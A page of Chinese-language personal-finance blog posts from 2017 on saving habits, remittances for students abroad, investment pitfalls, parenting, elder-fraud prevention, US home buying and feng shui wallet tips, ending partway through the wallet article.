        休息日宅在家里虽然不好,但出门去逛街,常常会冲动买,口渴了要喝茶,肚子饿了要吃饭……不小心就会花掉很多钱。

        Ⅱ.“买两件打折?买买买

        正在逛街的你,看到“一件3,000日元,2件5,000日元”的衣服,会立刻跑去买两件吗?

        攒不下来钱的人,总是对这类打折活动毫无抵抗力,看到打折的东西,就算并不特别需要,也会忍不住买下去。比如3,000日元一件的衣服,明明买一件就够了,却偏偏要买两件,等于多花了2,000日元,并没有占到什么便宜。

        Ⅲ. 出门时急急忙忙

        ——糟糕,已经这个时间了?来不及了,打个车吧!

        ——来不及吃早饭,路上买点儿吧。

        ——出门太着急,忘了带笔,路上买一支吧!

        如果你总是这样急急忙忙地出门,就会像这样,增加各种各样不必要的支出。

        Ⅳ .在家时无所事事

        如果你在家的时候常常无所事事,要么发呆,要么看看电视聊聊天打发时间,不想收拾房间,不想做计划……

        那么通常,你不太擅于做计划、整理工作,当然,理财也包括在内。

        Ⅴ. 少量多次取钱

        每个月发工资,先取一大笔钱,不够用,就再去取一点,又不够用,那就再去取一点……

        这样毫无计划的取钱方式,会让你完全把握不了自己到底花了多少钱,当然会产生“我的钱都哪儿去了”这样的疑问啦。

        而且,没钱了才急急忙忙去取,不巧赶在晚上、节假日,还要多付ATM手续费这样的额外支出。

        Ⅵ. 从不自己检索信息

        “怎么投资风险低?”“怎么取钱不用手续费?”“将来能拿到多少养老保险?”“怎么退税?”……

        如果你常常刷微博、刷推特,却从来都懒得去检索一下这些让自己如何省钱的信息,怎么会不花冤枉钱呢?

        2017-04-28 / by / in ,
        华人妈妈 vs 西方妈妈

        朋友的儿子在网路上读到一篇文章后,回家马上做实验,问他妈妈〝你要做华人妈妈,还是外国妈妈?〞朋友不解,想知道两者有什么区别?她儿子轻松的说,如果她选择当华人妈妈,他就不需要赚太多钱,可以好好享受生活。


        那个儿子所读的文章,叙述外国妈妈年轻时认真工作,贷款买房买车,生活很高档。老了卖掉房子,享受退休生活。华人妈妈则一生吃苦耐劳奋斗,不舍得花用,最后留下丰厚遗产,子女帮母亲办了风光的葬礼。

        你要当那一种妈妈或爸爸?朋友把这个问题放在心里,连想了好几天,发现自己不管从哪一个角度来看,都是不折不扣的华人妈妈。移民十几年,她从没有做过一次头发,衣服还是早期从国内带来的,全家人的三餐都是她一手张罗,很少上馆子。她不但懂得投资理财,在全球各地买了七间不动产,手上还有不少股票与债券。钱滚钱的效益,让他们一家三辈子都花不完。

        〝可是,我为什么就是舍不得花钱呢?难道我天生就不懂得享受?还是,我已经习惯了勤俭持家,没办法把日子过得太奢华?〞她问自己。

        她们家地下室有个两房出租单位,租给一对中年洋人夫妻。这对夫妻自愿帮忙整理后院,希望后院能归他们使用,本来就懒得除草的房东,当然一口答应。结果房客夫妻买了非常漂亮的户外座椅与遮阳伞,还有一个讲究的BBQ炉子,夏天呼朋引伴,常常伴派对,最近天气稍暖,还添购了一张新的三人座摇椅,每天在院子里享受阳光。

        〝我这个房东,常常很羡慕他们,没房子的人,敢买那么贵的车,还这么会享受生活。为什么不存点钱呢?〞她的华人妈妈思维,让她无法赞同房客夫妇的奢侈。

        华人父母早已经习惯〝先天下之忧而忧,后天下之乐而乐。〞要他们不赚钱或不存钱,都是一件无法接受的事。很多人甚至把留房产给孩子,当做是自己的责任。

        移民西方国家的华人妈妈,也许要经过好几代,才能逐渐蜕变成西方妈妈。

        2017-04-27 / by / in , ,
        关于海外留学汇款那些事儿

        据了解,目前家长给学生汇学费和生活费大致可以通过五种途径:境外电汇旅行支票、国际信用卡汇票和国际汇款业务(如速汇金、西联汇款)等,各种方式的时间及费用不同。


        汇票和境外电汇
        汇票是大家较为熟悉的业务之一,也是这五种途径中费用最便宜的。留学生可随身携带汇票到国外,再去银行网点兑付,无需接收账户,但兑付时需要的托收时间较长,相比之下,境外电汇的速度较快,但手续费相对较高。

        “汇票和境外电汇的具体到账时间,还与国家、地区以及国外所选择银行的清算行有关,要依据不同情况来判断。此外,现在用汇票的客户比较少。不过,有的大使馆签证时指定要汇票。”该银行理财经理这样介绍道。
        旅行支票
        如果嫌汇票和电汇麻烦,还可以选择旅行支票。旅行支票的优点是面额较小,使用方便,可在境外酒店、商场、出租车等场合直接消费,也可以到当地银行或兑换机构兑换当地现金,但手续费用较高。在国内银行购买的时候,一般要交1%的手续费,且上不封顶。另外,孩子在境外兑付时还要缴纳0.75%的手续费。

        国际信用卡

        目前,从国内向国外打款主要有两种方式,一种是信用卡,另一种就是汇款。使用信用卡,应该提前将钱存入卡中。但是,在国外使用信用卡消费如果超额透支,就会涉及到一个还款的问题,这对留学生来说是十分不方便的。所以还是建议使用汇款的方式,包括电汇、汇票以及速汇金等方式。

        国际汇款业务

        如果孩子有急事,可选择速汇金、西联汇款等渠道,国际汇款通道最大的优势是速度快,一般30分钟至1小时就可完成整个过程。不过,费用较高。

        据悉,根据国家外汇管理局规定,一个人携带外汇出境的现金上限是5000美元的等值外币,如超过5000美元需要到银行开立外汇携带证。另外,出于安全角度出发,建议留学生不宜携带太多现金出国。

        2017-04-27 / by / in , , ,
        小心!这10种决定会让你毕生积蓄泡汤

        据调查,只要走入投资这个行业就遇到很多由于种种原因导致亏损的投资者。如今的人们几乎象追踪自然界真实的天气变化情况那样,紧紧地追踪金融市场的行情变化:上升还是下跌;牛市还是熊市。无休无止的、几乎是每时每刻的预测未来市场行情会怎样,以及应该如何应对。近日,海外媒体盘点出10种投资决策当中,只要你读下去,就知道怎样鉴别出〝红色警报〞投资决策。


        红色警报〞亏损可以避免,需要的是少量的知识──以及大量的常识。下面10种投资决策当中,有八种属于〝红色警报〞式的错误,另两种不是。

        1. 相信一只股票

        你所效力的公司表现不错,你知道公司的潜力,你应该大量持有公司的股票,毕竟这样会显示出你的效忠程度。

        你可以通过规避风险的方法锁定生活方式。如果你所相信的投资顾问要你降低风险,那就仔细聆听。你不可能把你对自己公司股票的〝信任〞拿到银行存起来。大批持有公司股票证明的不是你对公司的忠诚,而是你对自己理财计划的不忠诚。

        2. 购买年金当投资

        年金是不错的投资产品,年金是与保险公司签订的一份合同。保险是一种风险管理工具,而不是一种投资产品。购买年金的时候,是在为某一个收益投保,而不是在投资。

        有些可变年金允许你投资年金之内类似共同基金的账户,但投资收益有一个投连险(insurance wrapper),这个投连险要么是承诺死亡的时候给付一个具体的保底收益(死亡收益保底),要么是承诺将来给付一个具体的收益数额供你提取(生存收益保底)。
        所以很多人之所以购买可变年金是因为他们误解了保底的运作方式。

        应该把年金当作一种在退休之后获取可持续收入的手段,而不要出于年金的投资潜力而购买。要把它们当成一种收益的保险来买。

        3. 楼市大潮里随波逐流

        投资租赁性房地产是拿别人的钱积累财富的好办法,投资房地产需要雄厚的财力。当经济下滑时,租户可能会搬走,于是你有房贷要还而无收入可供。如果你没有足够的现金流来还房贷、搞维修,你就会失去房产。

        房地产投资本身就是一门学问。在房价重新上涨的当下,不要因为坐享其成的诱惑而迷失方向。它并不像表面上那么容易。

        4. 听小道消息

        苏珊.凯恩(Susan Cain)在《安静》(Quiet)一书里讲了一名男子的故事,他在市场崩盘期间买进通用汽车(GM)的股票,以为这样可以让自己的退休储蓄翻番。他之所以对这笔投资感到放心,是因为之前从值得信任的渠道听说政府将救助这家公司。当股价继续下跌的时候,他又买了一些。再跌的时候,继续买。触底的时候,才发现一辈子的存款差不多全部投进去了。他慌了,把股票卖了。不久过后,该股实现了反弹,但他一辈子的积蓄已经一去不复返。

        对于服务员来讲,〝tip〞(小费)是一种好东西。但在涉及家人未来的时候,要避开〝tip〞(小道消息),坚持严谨的、分散化的投资方针。

        5. 变道——一年变一次

        聪明的投资者密切注视着市场,频繁地将资金转移到最新的绩优产品。但如果在一条拥堵的公路上持续变道,一直想往前挪,通常情况都是进一步落在后面。这样开车没有效率,这样投资一样低效。要选择一套严谨的策略,坚持不变。从一种投资跳到另一种投资只会让你慢下来。

        6. 炒汇

        专家可以实现更高的回报,找一个懂投资的人,然后你就安心了。有个人拿10万美元投资了一个外汇交易计划,一个月给他返还5,000美元。投入10万美元,以5,000美元一个月计算,一年就是六万美元。没有谁可以兑现这么高的回报率。可是不到半年,这个外汇交易计划就被发现是一场骗局,骗子被捕了。

        如果说专家可以产生如此高的回报,那他们做你的生意干吗?不要寄望于汇率,寄望于专家,也不要迷上任何形式的奇怪承诺。

        7. 享受拍马

        有更多的钱,总是有更好的投资选择,如果你有机会参加某种专属的东西,它可能就会产生更好的回报。如果有人利用你的自尊心,请远离他们。在涉及投资的时候,自尊心唯一的作用便是帮人亏钱。

        8. 相信别人

        你可以相信圈子里的名人,所以你应该跟他们做生意。

        制衡在政治和投资领域都是好东西。确保制衡的一个办法,便是与一家使用第三方托管人的投资顾问公司合作。这个第三方托管人把会计报表直接发给你,投资顾问公司可以动你的账户,但这些交易由托管人直接向你报告,而托管人与投资顾问公司没有关联,也不应该有关联。

        在伯尼.马多夫(Bernie Madoff)案这样的欺诈案件中,他的公司自己当自己的托管人,这意味着他们可以伪造客户看到的报表。这可是有问题的。

        没有制衡,就不要冒险。不值得拿你一辈子的积蓄去冒这个险。

        9. 抬高槓杆

        低息借款并投入高成长资产是积累财富的好办法。

        大约10年前,一位客户在加州海岸他名下的一块地皮上建造一栋500万美元的住宅。为完成这项工程,他需要借一笔建筑贷款、动用大部分流动资产,然后还要以他在另一家金融机构持有的一笔投资为抵押借一笔贷款。

        住宅完工之后不久,他的劳动合同突然终止。楼市股市双双下滑。现在他的资产打了水漂,必须从无到有地重新积累财富。

        借钱投资一定要三思而后行。这样做造富的时候少,造成毁灭的时候多。

        10. 动机有问题

        推销投资产品和理财建议的人们受到严格管制,所给建议必须是最符合你的利益。

        虽然不可能了解整个投资行业,但总可以询问有关报酬的细节问题。跟踪资金流向,会了解到很多有关理财顾问动机的信息。傭金产品有适当的用途,有些优秀的理财顾问就是通过傭金获得报酬的——但如果有人把你的毕生积蓄投进高傭金的非流动产品里面,你就应该找一位新的顾问了。

        红色警报?不是的。但动机有问题的人的确有可能会耗费掉你大量的时间和金钱。

        2017-04-27 / by / in , ,
        超级成功者7大特征 普通人没有!

        Inc.com专栏作家Lewis Schiff通过研究发现,超级成功人士拥有普通人所无法践行的7大成功之道。他通过7位最成功、最富有人士的案例,介绍了这7条通往财富与成功的必经之道。


        1. 太阳马戏团创始人盖・拉利波特(Guy Laliberte):做自己喜欢的,但始终向钱看

        在太阳马戏团创立之初,拉利波特是一个仅有高中学历的小丑。在开始的几年,尽管有政府的补贴和投资方的关照,马戏团的经营依然步履维艰。于是,拉利波特采取了一项变革性的举措,他将太阳马戏团由非盈利性改为盈利性,而自己拥有三分之一的股权。 30年后的今天,“向钱看”的决定成就了拉利波特18亿美元的身家。

        2. 理财顾问苏茜・欧曼(Suze Orman):思考如何挣钱,而不是如何省钱

        苏茜・欧曼以个人理财谘询成名。事实上,她对勤俭持家毫无经验。 30多岁时,她曾为了支付高昂的生活费用而债台高筑。为了扭转困局,她首先想到的是开源,而不是节流。她决定,“如果不当总统,那么就当一个理财顾问”。于是,她及时把握住金融机会,投身证券投资公司,摇身一变成为全球第一的理财师。时至今日,苏茜・欧曼每年乘坐私人飞机旅游的费用就高达30万美元。总之,最好是把时间花在如何把握机遇上,而不是如何减少开销。

        3. 微软公司创始人比尔・盖茨(Bill Gates):适时的模仿好过创新

        据《福布斯》(Forbes)杂志统计,比尔・盖茨拥有670亿美元的个人资产,是世界上最富有的人之一,而这一切都是从操作系统软件MS-DOS开始。 1980年,微软获得了IBM的合同,为IBM个人电脑提供操作系统,但盖茨的微软没有能力和时间从零做起。于是,他从另一家公司购入源码加以改写,并将修改后的MS-DOS卖给IBM,因为程序错误太多,IBM不得不完全重写。 33年过去了,已经无人记得或是在意这一切。创新固然可贵,及时的模仿才是把握商机的关键。



        比尔・盖茨( (Ramin Talaie/Getty Images))

        4. 投资家沃伦・巴菲特(Warren Buffett):用人为上,个人才能次之

        巴菲特年少时就展露出卓越的经营才能。然而,因为缺少足够的资金投资于大的市场,他的个人能力无法派上用场。直到巴菲特克服了自己的缅腆,结交合伙人,带领他们致力于投资事业,才开始了“股神”的传奇。据《福布斯》统计,巴菲特个人资产为470亿美元,仅次于卡洛斯・斯利姆和比尔・盖茨。一个好汉三个帮,没有人能够独自成功。



        巴菲特(Drew Angerer/Getty Images)

        5. 好莱坞制片人兼导演亚当・麦凯(Adam Mckay):双赢中总有一个是输家

        亚当・麦凯是好莱坞最成功的制片人、导演。他和威尔・法瑞尔合作编导了《塔拉德加之夜》、《非亲兄弟》、《二流警探》以及《王牌播音员》。当年,麦凯只是SNL (周六夜现场)的一位编剧。如果他没有在一个“善意的交易”中提出交涉,将来的制片之路也许并不会开始。 SNL邀请麦凯制作短片,但是,麦凯拒绝所谓的“双赢”,并开出自己的条件:除非他有权招募剧组,否则他只能退出。最终,SNL作出妥协,从此成就了麦凯的制片生涯。

        6. 维珍集团创始人理查德・布兰森(Richard Branson):人尽其才,物尽其用

        布兰森爵士患有多种读写障碍。不过,他认为这些反而是自己最大的优势。布兰森将维珍集团作为一个风险基金来运作,投资给那些符合维珍集团经营理念的公司。因为自己读写困难,他本人不会参与任何一家下属公司的运营。布兰森曾经说过:“如果我能读懂一张账单,我的一生将一事无成。”总之,做自己最擅长的,把其他的工作交给别人。

        7. 苹果公司创始人史蒂夫・乔布斯(Steve Jobs):失败是成功的基石

        早在上世纪80年代,乔布斯就敏锐的看到三维电脑动画的发展前景。他收购了卢卡斯影业的电脑绘图部,成立了皮克斯。在当时看,这是一个错误的决定。 1991年,皮克斯经营不善,乔布斯因此损失了几百万美元。但是谁也没有想到,皮克斯仅有的盈利部门—-一个专门为电视制作三维动画广告的小团队,变成了后来大名鼎鼎的皮克斯动画工作室。在乔布斯过世时,他的个人资产已达到83亿美元,而其中有70%来自于皮克斯公司的股权。



        2007年,乔布斯推出了一款新手机。 (TONY AVELAR/AFP/Getty Images)

        2017-04-27 / by / in ,
        1个好父亲等于200个老师,当爹的都好好看看吧

        孩子是父亲的影子,希望每个阅读完全文的父亲,都能成为一个好父亲 !
        爸爸的素质有多高,孩子就能飞多高!


        1、爸爸是孩子最好的老师

        爸爸的素质有多高,孩子就能飞多高

        用理性的父爱帮助孩子健康成长

        提高自身素质是教育孩子的关键

        正确〝导航〞是爸爸的第一要责

        让孩子学会为自己的人生负责

        每个问题孩子的背后,都有一个问题爸爸

        爸爸也应该向孩子学习

        别忘培养孩子合群意识

        给孩子种下一粒〝理想〞的种子

        2、孩子99%成功采自爸爸1%的改变改变

        改变孩子从改变爸爸开始

        没有教不好的孩子,只有不会教的爸爸

        〝弱〞爸爸教出〝强〞孩子

        重视培养孩子的爱好和特长

        给批评穿上表扬的外衣

        别把考试成绩作为评价孩子的标准

        做一个〝糊涂〞的爸爸

        爸爸要学会给孩子留面子

        3、爸爸一定要懂的〝家教心理学〞

        拥有积极的心态才能有个好未来

        乐观,让孩子的未来充满阳光

        独立,让孩子选择自己的人生.

        自信,为孩子找到生活的指向标

        化解嫉妒,为孩子心理上的毒瘤做化疗

        信心来自于爸爸的信任

        打败自私,为孩子纠正〝唯我独尊〞意识

        4、爸爸必须给孩子的10种品质

        感恩,也是一种修养

        宽容,教孩子学会〝心理换位〞

        乐观,开启孩子光明未来之门

        自信,构建孩子动力的金三角

        诚信,孩子人生的通行证

        勤劳,培养孩子勤劳的〝蜜蜂〞精神

        礼仪,孩子社交的〝名片〞

        责任,将责任感植入孩子的心灵花园

        坚强,让稚嫩的肩膀不畏惧困难

        主见,让成长的空间更自由

        5、做孩子的〝理财顾问〞

        教孩子学会理性消费

        不让孩子向〝钱〞看

        给孩子零花钱的学问

        6、好习惯决定孩子大未来

        培养孩子的合作精神

        惜时如金,时间安排有诀窍

        培养孩子爱劳动的习惯

        养成良好的生活习惯

        节约,让生活更富有

        培养孩子爱学习的习惯

        好卫生,好身体

        培养孩子良好的思维习惯

        培养良好的文明礼貌习惯

        7、爸爸〝素质教育〞

        发掘创造力,给孩子善于发现的眼睛

        提升理解力,让孩子从阅读开始

        集中注意力,养成专心致志的习惯

        增强记忆力,送给孩子黄金效率

        发挥想像力,让孩子拥有五彩的天空

        锻炼观察力,激发孩子的求知欲

        8、11个〝不要〞

        不要让父爱失去理性

        不要让孩子总围着你的〝思想〞转

        不要总拿爸爸的权威限制孩子

        不要以自己的〝标准〞判断孩子

        不要把自己的兴趣强加给孩子

        不要为孩子的错误〝买单〞

        不要用〝分数〞衡量孩子

        不要一直强调孩子的〝弱点〞

        不要为孩子规划人生,让他自己去开拓

        不要和叛逆的孩子硬碰硬,重在引导

        不要助长孩子的虚荣心

        9、最伤害孩子的7句话

        〝你真笨〞

        〝给我滚出去〞

        〝这么多年,真是白养活你了〞

        〝没见我正忙吗,以后再说〞

        〝看我怎么收拾你〞

        〝你看隔壁家的××,比你强多了〞

        〝别以为你长大了,我就管不了你〞

        10、爸爸教育孩子的6个细节

        爱心比金钱更重要

        守时,就是守住你的诚信根基

        别让孩子囿于自己的天地

        将挫折变为孩子成长的契机

        再富也要〝苦〞孩子

        不要可怜,为自己负责

        11、提高孩子竞争力的〝13个法宝〞

        专注——让孩子集中注意力

        承受——学会承受外部压力

        挑战——鼓起勇气攀上胜利的高峰

        分辨——是非观是立足社会的根本

        合作——培养团队作战的能力

        口才——舌灿莲花,成就美好人生

        反思——让孩子不犯相同的错误

        输赢——正确面对胜利和失败

        沟通——猜疑与对抗的溶解剂

        亲和——做一个受欢迎的人

        责任——胜于能力的竞争力

        应变——让思想冲破牢笼

        12、让孩子爱上学习

        不做〝高压〞爸爸

        找到俘虏了孩子学习的兴趣

        不给孩子〝贴标签〞

        适时采用〝牧羊式〞教育

        巧设〝陷阱〞,激发孩子的求知欲

        化劣势为优势:地低成海,人低成王

        13、给时间让孩子好好娱乐

        给孩子一个好环境,让他玩个痛快

        因势利导,寓教于乐

        让孩子不再〝一网情深〞

        点燃孩子的想像力

        做孩子的学习榜样

        及时用〝后果〞来督促他

        及时表扬孩子的〝爱学习〞

        培养〝自我管理〞是根本

        14、培养孩子的〝特长〞

        做孩子的慧眼〝伯乐〞

        维护孩子的进取兴趣

        顺水推舟,做〝有效地〞偏科

        不让孩子的热情〝酣睡〞

        未雨绸缪,从〝长处〞抓起

        15、改变孩子一生的七堂课

        身教课:合格爸爸,优秀孩子的开始

        沟通课:更好地沟通,更好地了解

        责任课:爸爸是水,孩子才是前进的舵

        批评课:引导孩子进入正确的航道

        表扬课:不要吝啬赞美的话语

        幸福课:栽植一颗〝向日葵〞,收获积极的人生

        爱心课:塑造孩子健康的人格

        成功课:种下优良的种子,长出丰硕果实,心若计较,处处都有怨言。

        2017-04-27 / by / in ,
        新鲜人累积财富首步 控制花费

        社会新鲜人陆续找到工作领了薪水,苏黎世国际人寿总经理卫志雄表示,新鲜人应控制花费、养成储蓄习惯、定期定额投资不中断,并选择具成长力的投资工具,才能累积财富。

        卫志雄表示,社会新鲜人平均薪资大约新台币2.7万元到3.2万元,想要累积财富,应发挥自制力,控制花费、透过执行力养成储蓄习惯、长期定期定额投资,不中断,并选择具成长力的投资工具等方式积极理财。

        对于社会新鲜人在拿到薪水后,容易把钱花掉情形,卫志雄指出,在这种状况下,存钱将变得很困难,建议新鲜人要记帐并分析,了解自己的花费习惯,尽量控制欲望、减少不必要的奢侈花费。

        卫志雄强调,想要累积财富,从领到第一分薪水开始,就将每月10%到15%的薪资储蓄或投资且长期执行。

        他指出,长期执行理财、投资,必须严守纪律,透过定期定额及分散风险方式,让投资产生复利效果。

        有了强制储蓄、投资的习惯后,卫志雄建议,社会新鲜人要选择有成长性的投资工具。


        他说,目前存款利率偏低,1年期银行定期存款利率只有约1.3%,扣除通货膨胀率后,实质投资报酬率几乎为负。

        卫志雄指出,不妨利用投资型保单、基金等,增加投资报酬率。

        2017-04-27 / by / in ,
        老人防欺诈 专家告诉您

        老年人辛苦一生赚钱不易,但仍然有不法份子对老年人进行经济诈欺。4月2日,橙县富勒顿社区服务中心,开始了为期八周的老年人理财及防诈欺课程。
        私人信托人Peter Kote:〝一位女士接到电话说,她赢得乐透,她从帐户取出10万美金给这人,据说,她最后既没有拿到乐透,又没有拿回钱。


        金融欺诈屡禁不止,很多人甚至将目标瞄准年迈的老人,稍有不慎,一辈子的努力便付诸东流。然而专家称,这些诈欺是有办法避免的。

        私人信托人Peter Kote:〝你首先应确定付款方式,没人会无偿服务,要问报酬;其次,他们的资历如何;第三,证书和执照。〞

        万一遇到突发状况,也可找到相关部门求救。

        私人信托人Peter Kote:〝可打电话向成年人保护协会(Adult Protective Services),是橙县政府机构,他们会对事件进行评估,之后采取适当行动,国际老年人协会(National Council on Aging)在橙县有分会,加州其他地方也有分会,还有一个被称作快速小组(FAST Team),防金融诈欺老年人小组。〞

        您也可报警寻求相关帮助。

        这项课程为期八周,在橙县、尔湾市、Newport Beach等地均有开设,所有民众只要通过注册便可申请参加,详情可致电714-922-3033谘询相关信息。

        2017-04-27 / by / in ,
        有三种钱非常奥妙 花得越多你赚得越多

        世界上有三种钱非常奥妙,你花得越多,就赚得越多。让我们来看看有哪三种。


        第一种钱:投资自己 自我成长

        阿波罗新闻网报导,学习的钱一定要花!换句话说,把钱投资自己的头脑上,是最安全的理财,到哪里都不会饿肚子。

        也许很多人会反驳,连三餐都吃不饱了,负债累累,哪里有钱再去学习呢?而且学习也不见得立刻就看得到效果!

        但成功人士认为,事实上,如果真的一贫如洗,头脑正是东山再起的最大本钱,更应该好好投资在这里才对,因为脑袋穷,人生就会穷。不能只顾看眼前,而应该站高一点往后看,才有翻身的机会。

        人生中的困境,是你前世未完成的功课,一定要通过自我摸索与自我学习,才能突破与跃进。聪明的人懂得通过学习以别人的经验为藉镜,避免自己重蹈覆辙多走冤枉路。所以,学习的钱一定要舍得花。聪明的你,一定要领悟这个道理。

        第二种钱 〝孝敬父母的钱一定要花 〞

        也许有人会认为当自己连吃穿都不够用,而且还负债累累时,根本没有办法定期给父母亲零用钱;也有人会说家里又不缺钱,爸妈都说自己够用,不用拿钱回家呀!不管你的父母经济情况如何,孝顺爸爸妈妈的钱是一定要定时定量给予的。

        想想看,你的父母会不会因为负债、缺钱就不抚养你?他们再怎么穷,还是把你抚养长大。所以回报他们也是应该的。

        其实,你或许不知道,父母就是我们的天时,我们与父母的互动可以累积天时的能量,一个人如果没有天时,这一辈子做任何事都无法顺利。也就是说,孝顺父母的钱不只是为了父母好,同时也是为了自己啊!

        现实中,观察一下周遭环境,那些从年轻开始,做什么赔什么,做什么都失败、不顺利的人,跟父母的沟通一定有障碍;相反的,看看一些成功的大企业家,都是事亲至孝。甚至也有调查报告指出,全球前五百大的企业家,个个都是孝顺的人物啊!请永远记得,哪怕你负债累累,孝顺父母的钱绝对不能省。

        第三种钱 回馈的钱一定要花:包括回馈社会及回馈我们身边的人

        畅销书《富爸爸,穷爸爸》的作者罗伯特・T・清崎先生说,他的富爸爸深信钱是要先付出才会有回报的,因此,在年轻时就养成习惯,无论再困难都要定期捐出一点钱来回馈社会,于是他越来越富有。而穷爸爸总是说,只要有多余的钱一定捐出来,然而终其一生,他始终都没有多余的钱。

        如果你是一个赚钱的老板,别忘了今天的成功是员工共同打拚的成果,回馈他们也是应该的。

        很多老板知道这些钱是循环的,最后一定会回馈到原点。无论如何再穷,世上都有比自己更不幸的人。如果你实在穷得一塌糊涂,真的没有办法用金钱来回馈,那就请你好好回馈你的公司吧!

        想想,现在经济也不景气,无论薪水再差,工作量再大,至少也让我们有一份温饱的收入,所以要抱持感谢的心情,用心去做好每一件工作。

        无论如何再穷,世上都有比自己更不幸的人,因此要尽量养成回馈社会的好习惯。

        2017-04-27 / by / in ,
        首次在美国购房 最值得考虑的10个城市

        最近这两年,美国住房的贷款利率一直徘徊在历史低位,而租赁市场报告显示,过去一年来租房的租金持续上涨,而现在的房价却趋于稳定。于是,购买房屋就成为许多人资产保值增值的一个重要选择。那么,首次购房的地点选在哪里更好呢?


        CBS(哥伦比亚广播公司)根据个人理财网SmartAsset公布的人口超过30万的美国城市住房承受能力、抵押贷款可操作性以及住房市场的稳定性等多方面的数据,评选出十个首次购房最值得考虑的城市。

        一,俄克拉何马州俄克拉何马城(Oklahoma City, Oklahoma)

        这个城市的房市价格合理,房屋市场在过去4年里的表现都非常稳定。据Zillow公布的数据,这里房产每平方英尺平均价格为77.67元。这意味着购房者会更容易在预算之内找到自己满意的住房。

        二,俄克拉何马州塔尔萨市(Tulsa, Oklahoma)

        塔尔萨市的住房市场也比较实惠,主要体现在这里房屋的物业价格较低。房价也很便宜,每平方英尺71.83元,是美国房价最低的五个城市之一。

        三,印第安纳州印第安纳波利斯(Indianapolis, Indiana)

        印第安纳波利斯的房地产市场在美国的大城市中比起来算是相当实惠的,市场稳定性和抵押贷款可操作性也很强。而且这里的房屋贷款资金比例是全美第七高,达77%。

        四,宾夕法尼亚州匹兹堡(Pittsburgh, Pennsylvania)

        这座钢铁城市的房产市场超级稳定,并因此成为首次购房者首选的五大城市之一。根据FHFA的数据,除檀香山外,匹兹堡的房价自2010年之后从未下降过。

        五,得克萨斯州休斯顿(Houston, Texas)

        休斯敦的房产市场的优势,主要体现在这里的抵押贷款机构多达186家,比其他任何美国城市都多。这意味着休斯敦居民在抵押贷款购房时有更多的选择。

        六,内布拉斯加州奥马哈(Omaha, Nebraska)

        据抵押贷款银行家协会的数据,奥马哈的贷款融资比率比任何美国主要城市都高。2014年,道格拉斯县(奥马哈所在地)这一比例高达83%,而美国各大城市平均值为69%。

        七,堪萨斯州威奇托(Wichita, Kansas)

        威奇托的收入与住房成本比率在美国各大城市中排名第二。这个城市因此成为首次购房者首选的十佳城市之一。

        八,得克萨斯州圣安东尼奥(San Antonio, Texas)

        据FHFA数据,从2014年第三季度至2015年第三季度,圣安东尼奥的房价上涨了8%,从2011年底以来,房价一直呈上升趋势。而这一地区房价目前仍然是非常实惠的,每平方英尺价格为80.50元。

        九,肯塔基州路易斯维尔(Louisville, Kentucky)

        边境城市路易斯维尔是肯塔基州的经济和文化的中心,这个城市因启动成本低而成为了年轻人创业的最佳城市,并已连续第二年被评为首次购房者选择的十大城市之一。

        十,得克萨斯州达拉斯、沃思堡(Dallas, Texas and Fort Worth, Texas)

        这两座相邻的城市的房产,在最近几年里都出现了升值。根据FHFA的数据,从2014年第三季度至2015年第三季度达拉斯房价上升了11%,沃思堡为9%。如果这种上涨的趋势继续下去,新房主将会从中获利。

        2017-04-27 / by / in , , ,
        小资女孩向钱冲 记帐是第一步

        偶像剧女主角工作4年就存到第一个100万元,许多粉领族大呼不可思议。资深财经记者赵靖宇说,只要遵守三法则:便利贴、剪刀手、牛郎织女,任何人都可能成为〝小资女孩

        笑称自己是〝第一代小资女孩〞的赵靖宇,曾在报社采访财经新闻多年,目前主持理财相关广播节目,也常是电视理财节目的来宾。对年轻女孩的理财,她认为,〝得先存到第一桶金,才能谈投资理财。〞

        赵靖宇建议,迈向小资女孩的第一步,是让自己成为〝便利贴女孩〞,利用便利贴与活页记事本,养成规律记帐的习惯。她说,许多上班族女孩领到薪水,随手就花掉,对收入与支出概念模模糊糊,〝记帐是纪律的第一步〞。

        赵靖宇说,刚开始记帐时,不必刻意省钱,〝只要记流水帐,有钱出去就记下来,连记30天。〞一方面养成记帐习惯,另一方面用帐目检视实际收支状况,剔除不必要的开支,以〝支出=收入-储蓄〞的原则,计算出最基本的支出,拟定理想的收支计画。

        她建议上班族女孩可开两个帐户,一是生活支出帐户,另一是储蓄帐户。每个月一发薪水,就把固定的储蓄金额拨进储蓄帐户,再也不要去动。有需要时,从支出帐户提钱即可。进阶者,可开一个外汇储蓄帐户,一来可分散汇率风险,再者若出国需要,也可即时提领,省下一笔汇兑手续费。

        赵靖宇说,成功存钱的第二个法则是〝剪刀手〞,〝狠下心来,把所有信用卡都剪了,就能降低非预期的支出,也减少负债的可能性〞。

        她也提醒,上班族在办公室里经常流行团购,〝尽可能不要参加,至少先想一想是否真的需要〞。虽然团购物品金额通常不高,但如果每次一有人吆喝就掏钱,〝长期下来也是一笔可观数字〞。


        她以知名连锁咖啡店为例,一杯咖啡以新台币165元计算,每个月约20个工作天,若每天上班喝一杯,一个月就是3300元,〝别看这笔钱说大不大,说小不小,如果省下来,一年就是3万多元。〞

        赵靖宇说,变身小资女孩的第三招,是向购物说掰掰。〝好像牛郎织女一年只见一次,一年只能购物一次〞。赵靖宇说,许多女孩看到喜欢的东西就买,毫无计画购物的结果,就是把家里跟办公室堆得一团乱。

        她建议,每次购物前都要大扫除,把不要的东西清空,再明确列出要购买的清单,控制预算;如果通通都舍不得丢,〝那就换个大一点的房子吧。假如没有能力换大房子,就表示你还没资格买这么多东西。〞

        赵靖宇说,她曾看过许多例子,通常生活杂乱的人,财务状况也多半一样乱。〝储蓄跟消费并不互相违背,只要你做好计画。〞例如想出国旅行,就提前计画,每个月固定存入一定金额,不要随意挪用,一段时间后自然有一笔旅游资金。她强调,〝理财就是纪律,就是修炼。〞

        2017-04-27 / by / in ,
        想不到,钱包里这么放钱还可以旺财?

        有没有想过钱包也会给你带来财运呢?


        1、什么款式的钱包聚财?

        现代人的钱包大部份都用折式的,据说钱天天弯腰,得不到舒展,就不能聚财。为了聚财,建议人们尽量使用直版式的钱包。而越新的钱包,运气就越强,越容易聚财。

        2、一个钱包能用多久?

        风水角度讲,一个钱包大约使用三年,运气基本上就被用光了。换句话说,就是一个钱包只能用两三年,即使没坏也要换个新的,这样才可增加财运,有助主人财源广进。

        3、钱要怎样放在钱包里?


        (网络图片)

